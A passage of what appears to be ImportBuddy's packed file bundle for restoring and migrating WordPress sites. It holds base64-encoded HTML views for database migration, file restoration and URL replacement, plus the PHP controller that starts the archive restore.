###PACKDATA,FILE_END,/_importbuddy/importbuddy/views/login.php,importbuddy/views/login.php
###PACKDATA,FILE_START,/_importbuddy/importbuddy/views/migratingDatabase.htm,importbuddy/views/migratingDatabase.htm
PGNlbnRlcj4KCTxoMz5NaWdyYXRpbmcgRGF0YWJhc2UgLi4uPC9oMz4KCTxoNCBpZD0ibWlncmF0aW5nRGF0YWJhc2UtcHJvZ3Jlc3NNZXNzYWdlIj48L2g0Pgo8L2NlbnRlcj4=
###PACKDATA,FILE_END,/_importbuddy/importbuddy/views/migratingDatabase.htm,importbuddy/views/migratingDatabase.htm
###PACKDATA,FILE_START,/_importbuddy/importbuddy/views/unzippingFiles.htm,importbuddy/views/unzippingFiles.htm
PGNlbnRlcj4KCTxoMz5QbGVhc2Ugd2FpdCB3aGlsZSB5b3VyIGZpbGVzIGFyZSByZXN0b3JlZCAuLi48L2gzPgoJPGg0IGlkPSJ1bnppcHBpbmdGaWxlcy1wcm9ncmVzc01lc3NhZ2UiPlJlc3RvcmluZyBGaWxlczwvaDQ+CjwvY2VudGVyPg==
###PACKDATA,FILE_END,/_importbuddy/importbuddy/views/unzippingFiles.htm,importbuddy/views/unzippingFiles.htm
###PACKDATA,FILE_START,/_importbuddy/importbuddy/views/urlReplaceSettings.htm,importbuddy/views/urlReplaceSettings.htm
CjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBzcmM9ImltcG9ydGJ1ZGR5L2pzL2pxdWVyeS5sZWFuTW9kYWwubWluLmpzIj48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgoJalF1ZXJ5KGRvY3VtZW50KS5yZWFkeShmdW5jdGlvbigpIHsKCQlqUXVlcnkoJy5sZWFuTW9kYWwnKS5sZWFuTW9kYWwoCgkJCQl7IHRvcCA6IDQ1LCBvdmVybGF5IDogMC40LCBjbG9zZUJ1dHRvbjogIi5tb2RhbF9jbG9zZSIgfQoJCSk7Cgl9KTsKPC9zY3JpcHQ+CgoKCjxmb3JtIG9uU3VibWl0PSJqUXVlcnkoJyN1cmxSZXBsYWNlLXJlc3RvcmVEYXRhJykudmFsKCB3aW5kb3cuYnRvYSggZW5jb2RlVVJJQ29tcG9uZW50KCBKU09OLnN0cmluZ2lmeSggd2luZG93LnJlc3RvcmVEYXRhICkgKSApICk7IiBhY3Rpb249Ij9hamF4PTUiIHRhcmdldD0ibWluaUZyYW1lIiBtZXRob2Q9InBvc3QiIGNsYXNzPSJkYl9zZXR0aW5nIj48IS0tIHRoaXMgZm9ybSBpcyBvbmx5IHN1Ym1pdHRlZCBhZnRlciBydW5uaW5nIHRocm91Z2ggamF2YXNjcmlwdC4gc3VibWl0dGluZyBhY3R1YWwgZm9ybSBpbnN0ZWFkIG9mIHVzaW5nIGpRdWVyeSBwb3N0IHNvIHdlIGNhbiB0YXJnZXQgaWZyYW1lLiAtLT4KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InJlc3RvcmVEYXRhIiBpZD0idXJsUmVwbGFjZS1yZXN0b3JlRGF0YSIgdmFsdWU9IiI+PCEtLSB0aGlzIGlzIHRoZSBvbmx5IHRoaW5nIHRoYXQgd2lsbCBuZWVkIHBhcnNlZCBieSBQSFAgb24gdGhlIHJlY2VpdmluZyBlbmQuIHBvcHVsYXRlZCBvbiBzdWJtaXQgYWZ0ZXIgZGIgdGVzdCBwYXNzZXMuIC0tPgoKCgoKCgoKCgk8dGFibGUgY2xhc3M9InNldHRpbmdzVGFibGUiPgoJCTx0cj48dGggc3R5bGU9IndpZHRoOiAzMCU7Ij4mbmJzcDs8L3RoPjx0aCBzdHlsZT0id2lkdGg6IDMwJTsiPk9sZCBVUkw8L3RoPjx0aCBzdHlsZT0id2lkdGg6IDEwJTsiPiZuYnNwOzwvdGg+PHRoIHN0eWxlPSJ3aWR0aDogMzAlOyI+TmV3IFVSTDwvdGg+PC90cj4KCQoJCgkKCQk8dHI+PCEtLSBXT1JEUFJFU1MgQUREUkVTUyAoQUxMIFNJVEUgVFlQRVMpIC0tPgoJCQk8dGQ+CgkJCQlXb3JkUHJlc3MgQWRkcmVzcyA8c3BhbiBjbGFzcz0ibGlnaHQiPihTaXRlIFVSTCk8L3NwYW4+IDxhIGNsYXNzPSJwbHVnaW5idWRkeV90aXAiIHRpdGxlPSJUaGlzIGlzIHRoZSBhZGRyZXNzIHdoZXJlIHlvdSB3YW50IHRoZSBmaW5hbCBXb3JkUHJlc3Mgc2l0ZSB5b3UgYXJlIHJlc3RvcmluZyAvIG1pZ3JhdGluZyB0byByZXNpZGUuIEV4OiBodHRwOi8vZm9vLmNvbS93cCI+PGltZyBzcmM9ImltcG9ydGJ1ZGR5L3BsdWdpbmJ1ZGR5L2ltYWdlcy9wbHVnaW5idWRkeV90aXAucG5nIiBhbHQ9Iig/KSI+PC9hPgoJCQk8L3RkPgoJCQk8dGQ+CgkJCQk8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9Im9sZF9zZXR0aW5nIiB2YWx1ZT0iPCU9IGRhdC5zaXRldXJsICU+IiBESVNBQkxFRD4KCQkJPC90ZD4KCQkJPHRkIGNsYXNzPSJzZXR0aW5nQ29weSI+CgkJCQk8YSBocmVmPSIjIj4mcmFycjs8L2E+CgkJCTwvdGQ+CgkJCTx0ZD4KCQkJCTxpbnB1dCB0eXBlPSJ0ZXh0IiB2YWx1ZT0iPCU9IGRlZmF1bHRVUkwgJT4iIG5hbWU9InNpdGV1cmwiPgoJCQk8L3RkPgoJCTwvdHI+CgkJPGJyIC8+PGJyIC8+CgkJPCUgaWYgKCBkYXQuaXNfbXVsdGlzaXRlID09PSB0cnVlICkgeyAvLyBtdWx0aXNpdGUgJT4KCQk8dHI+PCEtLSBNVUxUSVNJVEUgRE9NQUlOIC0tPgoJCQk8dGQgc3R5bGU9InZlcnRpY2FsLWFsaWduOiB0b3A7Ij4KCQkJCU11bHRpc2l0ZSBEb21haW4gPCU9IHRpcCggJ1RoaXMgaXMgdGhlIE11bHRpU2l0ZSBtYWluIGRvbWFpbi4gRXg6IGZvby5jb20uIFdBUk5JTkc6IENoYW5naW5nIHRoaXMgbWF5IHJlc3VsdCBpbiBVUkwgcHJvYmxlbXMuIFVzZSBjYXV0aW9uLicgKSAlPgoJCQkJPGJyPgoJCQkJPHNwYW4gY2xhc3M9ImxpZ2h0Ij4oSG9tZSBVUkwpPC9zcGFuPgoJCQk8L3RkPgoJCQk8dGQgc3R5bGU9InZlcnRpY2FsLWFsaWduOiB0b3A7Ij4KCQkJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0ib2xkX3NldHRpbmciIHZhbHVlPSI8JT0gZGF0LmRvbWFpbiAlPiIgRElTQUJMRUQ+CgkJCTwvdGQ+CgkJCTx0ZCBjbGFzcz0ic2V0dGluZ0NvcHkiIHN0eWxlPSJ2ZXJ0aWNhbC1hbGlnbjogdG9wOyI+CgkJCQk8YSBocmVmPSIjIj4mcmFycjs8L2E+CgkJCTwvdGQ+CgkJCTx0ZCBzdHlsZT0idmVydGljYWwtYWxpZ246IHRvcDsiPgoJCQkJPGlucHV0IHR5cGU9InRleHQiIHZhbHVlPSI8JT0gZGVmYXVsdERvbWFpbiAlPiIgbmFtZT0iaG9tZXVybCI+CgkJCQk8YnI+Tm90ZTogVGhpcyBVUkwgYWJvdmUgd2lsbCBhbHNvIGJlIHRoZSBuZXcgTXVsdGlzaXRlIE5ldHdvcmsgVVJMLgoJCQk8L3RkPgoJCTwvdHI+CgkKCQk8JSB9IGVsc2UgeyAlPgoJCQoJCTx0cj48IS0tIENVU1RPTSBIT01FIFVSTCAtLT4KCQkJPHRkPgoJCQkJPGxhYmVsIHN0eWxlPSJ3aWR0aDogMTAwJTsiIGZvcj0iY2hlY2tfY3VzdG9tX2hvbWUiPgoJCQkJCUN1c3RvbSBTaXRlIEFkZHJlc3MgPHNwYW4gY2xhc3M9ImxpZ2h0Ij4oSG9tZSBVUkwpPC9zcGFuPiA8JT0gdGlwKCAnT1BUSU9OQUwuIFRoaXMgaXMgYWxzbyBrbm93biBhcyB0aGUgc2l0ZSBhZGRyZXNzLiBUaGlzIGlzIHRoZSBob21lIGFkZHJlc3Mgd2hlcmUgeW91ciBtYWluIHNpdGUgcmVzaWRlcy4gVGhpcyBtYXkgZGlmZmVyIGZyb20geW91ciBXb3JkUHJlc3MgVVJMLiBGb3IgZXhhbXBsZTogaHR0cDovL2Zvby5jb20nICkgJT4KCQkJCTwvbGFiZWw+CgkJCTwvdGQ+CgkJCTx0ZD4KCQkJCTxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iY3VzdG9tSG9tZUVuYWJsZWQiIHZhbHVlPSJvbiIgb25DbGljaz0ialF1ZXJ5KCcjY3VzdG9tX2hvbWUnKS50b2dnbGUoKTsiIHN0eWxlPSJ3aWR0aDogYXV0bzsiPiA8c3BhbiBjbGFzcz0ibGlnaHQiIHN0eWxlPSJ2ZXJ0aWNhbC1hbGlnbjogLTNweDsiPk9wdGlvbmFsLiBEaXNhYmxlZCBieSBkZWZhdWx0Ljwvc3Bhbj4KCQkJPC90ZD4KCQkJPHRkIGNvbHNwYW49IjIiPiZuYnNwOzwvdGQ+CgkJPC90cj4KCQk8dHIgaWQ9ImN1c3RvbV9ob21lIiBzdHlsZT0iZGlzcGxheTogbm9uZTsiPjwhLS0gU0lURSBBRERSRVNTIChTVEFOREFMT05FIE9OTFkpIC0tPgoJCQk8dGQ+CgkJCQkmbmJzcDsKCQkJPC90ZD4KCQkJPHRkPgoJCQkJPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJvbGRfc2V0dGluZyIgdmFsdWU9IjwlPSBkYXQuaG9tZXVybCAlPiIgRElTQUJMRUQ+CgkJCTwvdGQ+CgkJCTx0ZCBjbGFzcz0ic2V0dGluZ0NvcHkiPgoJCQkJPGEgaHJlZj0iIyIgdGl0bGU9IkNsaWNrIHRvIGNvcHkgb2xkIHNldHRpbmcgb3Zlci4iPiZyYXJyOzwvYT4KCQkJPC90ZD4KCQkJPHRkPgoJCQkJPGlucHV0IHR5cGU9InRleHQiIHZhbHVlPSI8JT0gZGVmYXVsdFVSTCAlPiIgbmFtZT0iaG9tZXVybCI+CgkJCTwvdGQ+CgkJPC90cj4KCQoJCTwlIH0gLy8gZW5kIG5vbi1tdWx0aXNpdGUgJT4KCQoJCgk8L3RhYmxlPgoJPGJyPjxicj48YnI+CgkKCQoJCgkKCTxkaXYgY2xhc3M9Im1haW5fYm94X2Zvb3QiPgoJCTxicj4KCQk8Y2VudGVyPgoJCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJuZXh0U3RlcCIgdmFsdWU9Ik5leHQgU3RlcCIgY2xhc3M9Iml0LWJ1dHRvbiI+CgkJCTxidXR0b24gaHJlZj0iI3BiX2FkdmFuY2VkX21vZGFsIiBjbGFzcz0iaXQtYnV0dG9uIGl0LXNlY29uZGFyeSBsZWFuTW9kYWwiPkFkdmFuY2VkIE9wdGlvbnM8L2J1dHRvbj4KCQk8L2NlbnRlcj4KCgk8L2Rpdj4KCQoJCgkKCTxkaXYgaWQ9InBiX2FkdmFuY2VkX21vZGFsIiBzdHlsZT0iZGlzcGxheTogbm9uZTsiPgoJCTxkaXYgY2xhc3M9Im1vZGFsIj4KCQkJPGRpdiBjbGFzcz0ibW9kYWxfaGVhZGVyIj4KCQkJCTxhIGNsYXNzPSJtb2RhbF9jbG9zZSI+JnRpbWVzOzwvYT4KCQkJCTxoMj5BZHZhbmNlZCBPcHRpb25zPC9oMj4KCQkJCUV4ZXJjaXNlIGNhdXRpb24gdXNpbmcgYWR2YW5jZWQgb3B0aW9ucy4gQWRkaXRpb25hbCBvcHRpb25zIGF2YWlsYWJsZSBvbiBzdWJzZXF1ZW50IHN0ZXBzLgoJCQk8L2Rpdj4KCQkJPGRpdiBjbGFzcz0ibW9kYWxfY29udGVudCI+CgkJCQkKCQkJCTxpbnB1dCB0eXBlPSJjaGVja2JveCIgdmFsdWU9IjEiIG5hbWU9Im1pZ3JhdGVEYXRhYmFzZSIKCQkJCQkgICBvbmNsaWNrPSIKCQkJCQlpZiAoIGpRdWVyeSh0aGlzKS5pcyggJzpjaGVja2VkJyApICkgeyAvLyBPbiBjaGVja2luZyB0aGlzIGJveCwgd2UgbmVlZCB0byBoaWRlIG9wdGlvbnM7IHVuY2hlY2tpbmcgc2hvdyBvcHRpb25zLgoJCQkJCQkJalF1ZXJ5KCAnI2RhdGFiYXNlX21pZ3JhdGVfb3B0aW9ucycgKS5zbGlkZURvd24oKTsKCQkJCQkJfSBlbHNlIHsKCQkJCQkJCWpRdWVyeSggJyNkYXRhYmFzZV9taWdyYXRlX29wdGlvbnMnICkuc2xpZGVVcCgpOwoJCQkJCQl9CgkJCQkJCWpRdWVyeSggJyNkYXRhYmFzZV9taWdyYXRlX29wdGlvbnMgPiBpbnB1dCcgKS5yZW1vdmVBdHRyKCdjaGVja2VkJyk7IC8vIFVuY2hlY2sgYWxsIG9wdGlvbnMgd2l0aGluLgoJCQkJCSIgQ0hFQ0tFRD4gTWlncmF0ZSBVUkxzL3BhdGhzIGluIGRhdGFiYXNlIGZyb20gb2xkIGxvY2F0aW9uIHRvIG5ldy4gPGJyPgoJCQkJPGRpdiBpZD0iZGF0YWJhc2VfbWlncmF0ZV9vcHRpb25zIj4KCQkJCQk8aW5wdXQgdHlwZT0iY2hlY2tib3giIHZhbHVlPSIxIiBuYW1lPSJtaWdyYXRlRGF0YWJhc2VCcnV0ZUZvcmNlIiBDSEVDS0VEPiBNaWdyYXRlIFVSTFMvcGF0aHMgaW4gZGF0YWJhc2UgaW4gYWxsIGxvY2F0aW9ucyB1c2luZyBicnV0ZSBmb3JjZS4gPCU9IHRpcCggJ0J5IGRlZmF1bHQgQmFja3VwQnVkZHkgd2lsbCBleHRlbnNpdmVseSBleGFtaW5lIGFuZCBtaWdyYXRlIHVua25vd24gZGF0YWJhc2UgdGFibGVzLiAgU29tZXRpbWVzIGhvd2V2ZXIgdGhpcyBjYW4gY2F1c2UgdGltZW91dHMgb24gbGFyZ2VyIHNpdGVzLiAgWW91IG1heSBza2lwIHRoaXMgaW50ZW5zaXZlIHByb2NlZHVyZSB0byByZWR1Y2UgcmVxdWlyZWQgcnVudGltZSBmb3IgZGF0YWJhc2UgbWlncmF0aW9uIHN0ZXBzLiBOb3RlIHRoYXQgc29tZSBVUkxzIG9yIHBhdGhzIG1heSBub3QgYmUgdXBkYXRlZCBpZiBza2lwcGluZyB0aGlzIHN0ZXAuICBBbGwgbWFqb3IgV29yZFByZXNzIFVSTHMgYW5kIHBhdGhzIHdpbGwgc3RpbGwgYmUgdXBkYXRlZCBob3dldmVyLicgKSAlPjxicj4KCQkJCQlNYXhpbXVtIHRpbWUgcGVyIGNodW5rIHdoZW4gaW50ZXJhY3Rpbmcgd2l0aCBkYXRhYmFzZTogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1heF9leGVjdXRpb25fdGltZSIgaWQ9Im1heF9leGVjdXRpb25fdGltZSIgdmFsdWU9IjwlPSBtYXhFeGVjdXRpb25UaW1lICU+IiBzaXplPSI1Ij4gc2Vjb25kcy4gPCU9IHRpcCggJ1RoZSBtYXhpbXVtIGFtb3VudCBvZiB0aW1lIEltcG9ydEJ1ZGR5IHNob3VsZCBhbGxvdyBhIGRhdGFiYXNlIGltcG9ydCBjaHVuayB0byBydW4uIEltcG9ydEJ1ZGR5IGJ5IGRlZmF1bHQgbGltaXRzIGVhY2ggY2h1bmsgdG8geW91ciBNYXhpbXVtIFBIUCBydW50aW1lLiBJZiB5b3VyIGRhdGFiYXNlIGltcG9ydCBzdGVwIGlzIHRpbWluZyBvdXQgdGhlbiBsb3dlcmluZyB0aGlzIHZhbHVlIHdpbGwgaW5zdHJ1Y3QgdGhlIHNjcmlwdCB0byBsaW1pdCBlYWNoIGBjaHVua2AgdG8gYWxsb3cgaXQgdG8gZmluaXNoIHdpdGhpbiB0aGlzIHRpbWUgcGVyaW9kLiBSYWlzaW5nIHRoaXMgdmFsdWUgYWJvdmUgeW91ciBzZXJ2ZXJzIGxpbWl0cyB3aWxsIG5vdCBpbmNyZWFzZSBvciBvdmVycmlkZSBzZXJ2ZXIgc2V0dGluZ3MuJyApICU+CgkJCQk8L2Rpdj4KCQkJCTxicj4KCQkJCQoJCQk8L2Rpdj4KCQk8L2Rpdj4KCTwvZGl2PgoJCgkKPC9mb3JtPg==
###PACKDATA,FILE_END,/_importbuddy/importbuddy/views/urlReplaceSettings.htm,importbuddy/views/urlReplaceSettings.htm
###PACKDATA,FILE_START,/_importbuddy/importbuddy/controllers/ajax/2.php,importbuddy/controllers/ajax/2.php
PD9waHAKaWYgKCAhIGRlZmluZWQoICdQQl9JTVBPUlRCVUREWScgKSB8fCAoIHRydWUgIT09IFBCX0lNUE9SVEJVRERZICkgKSB7CglkaWUoICc8aHRtbD48L2h0bWw+JyApOwp9CkF1dGg6OnJlcXVpcmVfYXV0aGVudGljYXRpb24oKTsgLy8gRGllIGlmIG5vdCBsb2dnZWQgaW4uCnBiX2JhY2t1cGJ1ZGR5Ojpsb2FkX3ZpZXcoICdfaWZyYW1lX2hlYWRlcicpOwpwYl9iYWNrdXBidWRkeTo6c2V0X2dyZWVkeV9zY3JpcHRfbGltaXRzKCk7CmVjaG8gIjxzY3JpcHQ+cGFnZVRpdGxlKCAnU3RlcCAyOiBSZXN0b3JpbmcgRmlsZXMnICk7PC9zY3JpcHQ+IjsKcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnTG9hZGluZyBzdGVwIDIuJyApOwplY2hvICI8c2NyaXB0PmJiX3Nob3dTdGVwKCAndW56aXBwaW5nRmlsZXMnICk7PC9zY3JpcHQ+IjsKcGJfYmFja3VwYnVkZHk6OmZsdXNoKCk7CgoKaWYgKCAndHJ1ZScgIT0gcGJfYmFja3VwYnVkZHk6Ol9HRVQoICdkZXBsb3knICkgKSB7IC8vIE5PVCBkZXBsb3ltZW50LiBkZXBsb3ltZW50IG1vZGUgcHJlLWxvYWRzIHN0YXRlIGRhdGEgaW4gYSBmaWxlIGluc3RlYWQgb2YgcGFzc2luZyB2aWEgcG9zdC4KCS8vIERldGVybWluZSBzZWxlY3RlZCBhcmNoaXZlIGZpbGUuCgkkYXJjaGl2ZUZpbGUgPSBBQlNQQVRIIC4gc3RyX3JlcGxhY2UoIGFycmF5KCAnXFwnLCAnLycgKSwgJycsIHBiX2JhY2t1cGJ1ZGR5OjpfUE9TVCggJ2ZpbGUnICkgKTsKCSRleGlzdGluZ19zdGF0ZSA9IGFycmF5KCk7Cn0gZWxzZSB7IC8vIERlcGxveW1lbnQuCglpZiAoIGlzc2V0KCBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ2RlZmF1bHRfc3RhdGVfb3ZlcnJpZGVzJ10gKSAmJiAoIGNvdW50KCBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ2RlZmF1bHRfc3RhdGVfb3ZlcnJpZGVzJ10gKSA+IDAgKSApIHsgLy8gRGVmYXVsdCBzdGF0ZSBvdmVycmlkZXMgZXhpc3QuIEFwcGx5IHRoZW0uCgkJJGFyY2hpdmVGaWxlID0gcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydkZWZhdWx0X3N0YXRlX292ZXJyaWRlcyddWydhcmNoaXZlJ107CgkJJGV4aXN0aW5nX3N0YXRlID0gcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydkZWZhdWx0X3N0YXRlX292ZXJyaWRlcyddOwoJCSRleGlzdGluZ19zdGF0ZVsndGVtcFBhdGgnXSA9IEFCU1BBVEggLiAnaW1wb3J0YnVkZHkvdGVtcF8nIC4gcGJfYmFja3VwYnVkZHk6OnJhbmRvbV9zdHJpbmcoIDEyICkgLiAnLyc7Cgl9IGVsc2UgewoJCWRpZSggJ0Vycm9yICM4NDM3OTc5NDMyMjMzNzg5NDogTWlzc2luZyBleHBlY3RlZCBkZWZhdWx0IHN0YXRlIG92ZXJyaWRlLiBPcHRpb25zOiBgJyAuIHByaW50X3IoIHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9ucywgdHJ1ZSApIC4gJ2AuJyApOwoJfQp9CgppZiAoICEgZmlsZV9leGlzdHMoICRhcmNoaXZlRmlsZSApICkgewoJZGllKCAnRXJyb3IgIzgzNDk4NDogU3BlY2lmaWVkIGJhY2t1cCBhcmNoaXZlIGAnIC4gaHRtbGVudGl0aWVzKCAkYXJjaGl2ZUZpbGUgKSAuICdgIG5vdCBmb3VuZC4gRGlkIHlvdSBkZWxldGUgaXQ/IElmIHRoZSBmaWxlIGV4aXN0cywgdHJ5IGFnYWluIG9yIHZlcmlmeSBwcm9wZXIgcmVhZCBmaWxlIHBlcm1pc3Npb25zIGZvciBQSFAgdG8gYWNjZXNzIHRoZSBmaWxlLicgKTsKfQoKaWYgKCAnMScgPT0gcGJfYmFja3VwYnVkZHk6Ol9QT1NUKCAnc2tpcFVuemlwJyApICkgewoJJHNraXBVbnppcCA9IHRydWU7Cn0gZWxzZSB7Cgkkc2tpcFVuemlwID0gZmFsc2U7Cn0KCgokc2ltcGxlVmVyc2lvbiA9IHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1snYmJfdmVyc2lvbiddOwppZiAoIHN0cnBvcyggcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydiYl92ZXJzaW9uJ10sICcgJyApID4gMCApIHsKCSRzaW1wbGVWZXJzaW9uID0gc3Vic3RyKCBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ2JiX3ZlcnNpb24nXSwgMCwgc3RycG9zKCBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ2JiX3ZlcnNpb24nXSwgJyAnICkgKTsKfQoKCi8vIEluc3RhbnRpYXRlIHJlc3RvcmUgY2xhc3MuCnJlcXVpcmVfb25jZSggcGJfYmFja3VwYnVkZHk6OnBsdWdpbl9wYXRoKCkgLiAnL2NsYXNzZXMvcmVzdG9yZS5waHAnICk7CiRyZXN0b3JlID0gbmV3IGJhY2t1cGJ1ZGR5X3Jlc3RvcmUoICdyZXN0b3JlJywgJGV4aXN0aW5nX3N0YXRlICk7CiRzdGF0dXMgPSAkcmVzdG9yZS0+c3RhcnQoICRhcmNoaXZlRmlsZSwgJHNraXBVbnppcCApOwppZiAoIGZhbHNlID09PSAkc3RhdHVzICkgewoJJGVycm9ycyA9ICRyZXN0b3JlLT5nZXRFcnJvcnMoKTsKCWlmICggY291bnQoICRlcnJvcnMgKSA+IDAgKSB7CgkJJGVycm9yTXNnID0gJ0Vycm9ycyB3ZXJlIGVuY291bnRlcmVkOiAnIC4gaW1wbG9kZSggJywgJywgJGVycm9ycyApIC4gJyBJZiBzZWVraW5nIHN1cHBvcnQgcGxlYXNlIGNsaWNrIHRvIFNob3cgQWR2YW5jZWQgRGV0YWlscyBhYm92ZSBhbmQgcHJvdmlkZSBhIGNvcHkgb2YgdGhlIGxvZy4nOwoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICRlcnJvck1zZyApOwoJfSBlbHNlIHsKCQkkZXJyb3JNc2cgPSAnRXJyb3IgIzg5NDM4MzogVW5rbm93biBlcnJvciBzdGFydGluZyByZXN0b3JlLiBTZWUgYWR2YW5jZWQgc3RhdHVzIGxvZyBmb3IgZGV0YWlscy4nOwoJfQoJcGJfYmFja3VwYnVkZHk6OmFsZXJ0KCAkZXJyb3JNc2cgKTsKCXJldHVybjsKfQoKJHJlc3RvcmUtPl9zdGF0ZVsnZGVmYXVsdFVSTCddID0gJHJlc3RvcmUtPmdldERlZmF1bHRVcmwoKTsKJHJlc3RvcmUtPl9zdGF0ZVsnZGVmYXVsdERvbWFpbiddID0gJHJlc3RvcmUtPmdldERlZmF1bHREb21haW4oKTsKaWYgKCAndHJ1ZScgIT0gcGJfYmFja3VwYnVkZHk6Ol9HRVQoICdkZXBsb3knICkgKSB7IC8vIGRlcGxveW1lbnQgbW9kZSBwcmUtbG9hZHMgc3RhdGUgZGF0YSBpbiBhIGZpbGUgaW5zdGVhZCBvZiBwYXNzaW5nIHZpYSBwb3N0LgoJJHJlc3RvcmUtPl9zdGF0ZSA9IHBhcnNlX29wdGlvbnMoICRyZXN0b3JlLT5fc3RhdGUgKTsKfQokcmVzdG9yZS0+X3N0YXRlWydza2lwVW56aXAnXSA9ICRza2lwVW56aXA7CgovLyBTZXQgdXAgc3RhdGUgdmFyaWFibGVzLgppZiAoICggJ2RiJyA9PSAkcmVzdG9yZS0+X3N0YXRlWydkYXQnXVsnYmFja3VwX3R5cGUnXSApIHx8ICggZmFsc2UgPT0gJHJlc3RvcmUtPl9zdGF0ZVsncmVzdG9yZUZpbGVzJ10gKSApIHsKCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0RhdGFiYXNlIGJhY2t1cCBPUiBub3QgcmVzdG9yaW5nIGZpbGVzLicgKTsKCSRyZXN0b3JlLT5fc3RhdGVbJ3RlbXBQYXRoJ10gPSBBQlNQQVRIIC4gJ2ltcG9ydGJ1ZGR5L3RlbXBfJyAuIHBiX2JhY2t1cGJ1ZGR5OjpyYW5kb21fc3RyaW5nKCAxMiApIC4gJy8nOwoJJHJlc3RvcmUtPl9zdGF0ZVsncmVzdG9yZUZpbGVSb290J10gPSAkcmVzdG9yZS0+X3N0YXRlWyd0ZW1wUGF0aCddOwoJcGJfYmFja3VwYnVkZHk6OmFudGlfZGlyZWN0b3J5X2Jyb3dzaW5nKCAkcmVzdG9yZS0+X3N0YXRlWydyZXN0b3JlRmlsZVJvb3QnXSwgJGRpZSA9IGZhbHNlICk7Cn0gZWxzZSB7CglwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdSZXN0b3JpbmcgZmlsZXMuJyApOwoJJHJlc3RvcmUtPl9zdGF0ZVsncmVzdG9yZUZpbGVSb290J10gPSBBQlNQQVRIOyAvLyBSZXN0b3JlIGZpbGVzIGludG8gY3VycmVudCByb290Lgp9CgovLyBQYXJzZSBzdWJtaXR0ZWQgb3B0aW9ucyBmb3Igc2F2aW5nIHRvIHN0YXRlLgpmdW5jdGlvbiBwYXJzZV9vcHRpb25zKCAkcmVzdG9yZURhdGEgKSB7CgoJaWYgKCAnMScgPT0gcGJfYmFja3VwYnVkZHk6Ol9QT1NUKCAncmVzdG9yZUZpbGVzJyApICkgeyAkcmVzdG9yZURhdGFbJ3Jlc3RvcmVGaWxlcyddID0gdHJ1ZTsgfSBlbHNlIHsgJHJlc3RvcmVEYXRhWydyZXN0b3JlRmlsZXMnXSA9IGZhbHNlOyB9CglpZiAoICcxJyA9PSBwYl9iYWNrdXBidWRkeTo6X1BPU1QoICdyZXN0b3JlRGF0YWJhc2UnICkgKSB7ICRyZXN0b3JlRGF0YVsncmVzdG9yZURhdGFiYXNlJ10gPSB0cnVlOyB9IGVsc2UgeyAkcmVzdG9yZURhdGFbJ3Jlc3RvcmVEYXRhYmFzZSddID0gZmFsc2U7IH0KCWlmICggJzEnID09IHBiX2JhY2t1cGJ1ZGR5OjpfUE9TVCggJ21pZ3JhdGVIdGFjY2VzcycgKSApIHsgJHJlc3RvcmVEYXRhWydtaWdyYXRlSHRhY2Nlc3MnXSA9IHRydWU7IH0gZWxzZSB7ICRyZXN0b3JlRGF0YVsnbWlncmF0ZUh0YWNjZXNzJ10gPSBmYWxzZTsgfQoKCWlmICggKCAnYWxsJyA9PSBwYl9iYWNrdXBidWRkeTo6X1BPU1QoICd6aXBNZXRob2RTdHJhdGVneScgKSApIHx8ICggJ3ppcGFyY2hpdmUnID09IHBiX2JhY2t1cGJ1ZGR5OjpfUE9TVCggJ3ppcE1ldGhvZFN0cmF0ZWd5JyApICkgfHwgKCAncGNsemlwJyA9PSBwYl9iYWNrdXBidWRkeTo6X1BPU1QoICd6aXBNZXRob2RTdHJhdGVneScgKSApICkgewoJCSRyZXN0b3JlRGF0YVsnemlwTWV0aG9kU3RyYXRlZ3knXSA9IHBiX2JhY2t1cGJ1ZGR5OjpfUE9TVCggJ3ppcE1ldGhvZFN0cmF0ZWd5JyApOwoJfQoKCXJldHVybiAkcmVzdG9yZURhdGE7Cgp9IC8vIEVuZCBwYXJzZV9vcHRpb25zKCkuCgoKLy8gVHVybiBvbiBtYWludGVuYW5jZSBtb2RlIGZvciBXb3JkUHJlc3MgdG8gcHJldmVudCBicm93c2luZyB0aGUgc2l0ZSB1bnRpbCBpdCBpcyBmdWxseSBpbXBvcnRlZC4KJHJlc3RvcmUtPm1haW50ZW5hbmNlT24oKTsKCgppZiAoIHRydWUgIT09ICRyZXN0b3JlLT5fc3RhdGVbJ3NraXBVbnppcCddICkgewoKCS8vIFVuemlwIGJhY2t1cCBhcmNoaXZlLiBGb3IgREItb25seSBvbmx5IHJlc3RvcmVzIFNRTCBmaWxlcyB0byB0ZW1wIGRpcmVjdG9yeS4gRm9yIGZpbGVzLCB1bnppcHMgYWxsIHRvIEFCU1BBVEguCgkkcmVzdWx0cyA9ICRyZXN0b3JlLT5yZXN0b3JlRmlsZXMoKTsKCWlmICggdHJ1ZSAhPT0gJHJlc3VsdHMgKSB7IC8vIFVuemlwIGZhaWxlZC4KCgkJcGJfYmFja3VwYnVkZHk6OmFsZXJ0KCAnRmlsZSBleHRyYWN0aW9uIHByb2Nlc3MgZGlkIG5vdCBjb21wbGV0ZSBzdWNjZXNzZnVsbHkuIFVuYWJsZSB0byBjb250aW51ZSB0byBuZXh0IHN0ZXAuIE1hbnVhbGx5IGV4dHJhY3QgdGhlIGJhY